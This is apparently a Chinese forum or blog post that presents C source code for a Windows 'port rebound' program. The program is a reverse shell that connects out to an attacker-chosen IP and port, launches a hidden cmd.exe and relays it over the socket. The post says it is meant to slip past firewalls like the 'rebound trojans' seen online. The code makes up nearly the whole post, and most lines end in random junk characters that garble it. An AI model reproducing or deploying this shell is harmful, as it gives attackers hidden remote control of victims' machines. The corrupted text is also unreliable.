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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^8J`*R8CL  
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/* ============================== [t$ r)vX  
Rebound port in Windows NT aM(#J7;  
By wind,2006/7 P=6d<no&<  
===============================*/ G_ ,9h!e  
#include h/5S2EB0!O  
#include I,`;#Q)nx  
mfS}+_ C  
#pragma comment(lib,"wsock32.lib") KfYU.Q  
q-ko)]  
void OutputShell(); he:z9EG}  
SOCKET sClient; Xo] 2iQy  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <lWj-+m  
&1?6Q_p6c  
void main(int argc,char **argv) s=F[.X9lp  
{ YD;d*E%t  
WSADATA stWsaData; X1o^MMpz(F  
int nRet; @rDBK] V  
SOCKADDR_IN stSaiClient,stSaiServer; *|<~IQg  
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if(argc != 3) LHXR7Fjc  
{ &5${k'  
printf("Useage:\n\rRebound DestIP DestPort\n"); H(P]Z~et  
return; Yf~Kzv1]*  
} hITYBPqRO  
1 ] cLbJ  
WSAStartup(MAKEWORD(2,2),&stWsaData); .4tu{\YX  
P:N> #G~z  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0t}v@-abU  
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stSaiClient.sin_family = AF_INET; <hiv8/)?  
stSaiClient.sin_port = htons(0); _X mxBtk9f  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6M_:D  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) FI.F6d)E$  
{ Us!ZQ#pP  
printf("Bind Socket Failed!\n"); P=KhR&gwV~  
return; x<Gjr}  
} *78c2`)[  
m- ibS:  
stSaiServer.sin_family = AF_INET; }^$1<GT  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Ry"4v_e9  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #+V4<o  
a:`<=^:4,  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) a$Y{ut0t(  
{ qtozMa  
printf("Connect Error!"); T!B\ixt6  
return; ipg`8*My  
} EU%v |]  
OutputShell(); n%#3xo a  
} lS7L|  
7aKI=;60.  
void OutputShell() 4%w<Ekd  
{ bv'>4a  
char szBuff[1024]; J -Lynvqm  
SECURITY_ATTRIBUTES stSecurityAttributes;  C=@4U}  
OSVERSIONINFO stOsversionInfo; (=;'>*L(  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +xO3<u  
STARTUPINFO stStartupInfo; oH?:(S(  
char *szShell; u)I\R\N  
PROCESS_INFORMATION stProcessInformation; PpBptsb^|J  
unsigned long lBytesRead; F[yofR N  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +6P[TqR  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D&2NO/ R  
stSecurityAttributes.lpSecurityDescriptor = 0; o{fYoBgr  
stSecurityAttributes.bInheritHandle = TRUE; U5H%wA['m  
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L6Brs"9B  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); IF5-@hag,  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); UH}lKc=t  
~jzLw@"~$^  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); W&R67ff|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @4 8!e-W  
stStartupInfo.wShowWindow = SW_HIDE; R6o  D  
stStartupInfo.hStdInput = hReadPipe; \G>C{v;  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5[jS(1a`c  
 Fpn*]x  
GetVersionEx(&stOsversionInfo); QOYMT( j  
N{Z+  
switch(stOsversionInfo.dwPlatformId) B ;E"VS0  
{ 9X=<uS  
case 1: ?O#,{ZZf=  
szShell = "command.com"; z,x )Xx  
break; 9?hZf$z  
default: jS[=Zx`  
szShell = "cmd.exe"; Nr `R3(X  
break; 'uDx$AkY  
} Ui (nMEon  
> !s<JKhI  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); D6Aa5&rO+  
=<p=?16 x  
send(sClient,szMsg,77,0); OZ e&p  
while(1)  c1s&  
{ [BJzZ>cY  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); y$]<m+1  
if(lBytesRead) /7Pqy2sgE  
{ e1h7~ j  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); DC*MB:c#U  
send(sClient,szBuff,lBytesRead,0); @0 P4pt;(  
} }*QK;#NEc  
else EYj~Xj8_  
{ jQ3dLctn  
lBytesRead=recv(sClient,szBuff,1024,0); G"J nQ  
if(lBytesRead<=0) break; iJ^}{-  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?{aJ#w   
} rC_1f3A  
} pgh(~ [  
>4Tk#+%Jj  
return; DGb1_2ZQ  
}
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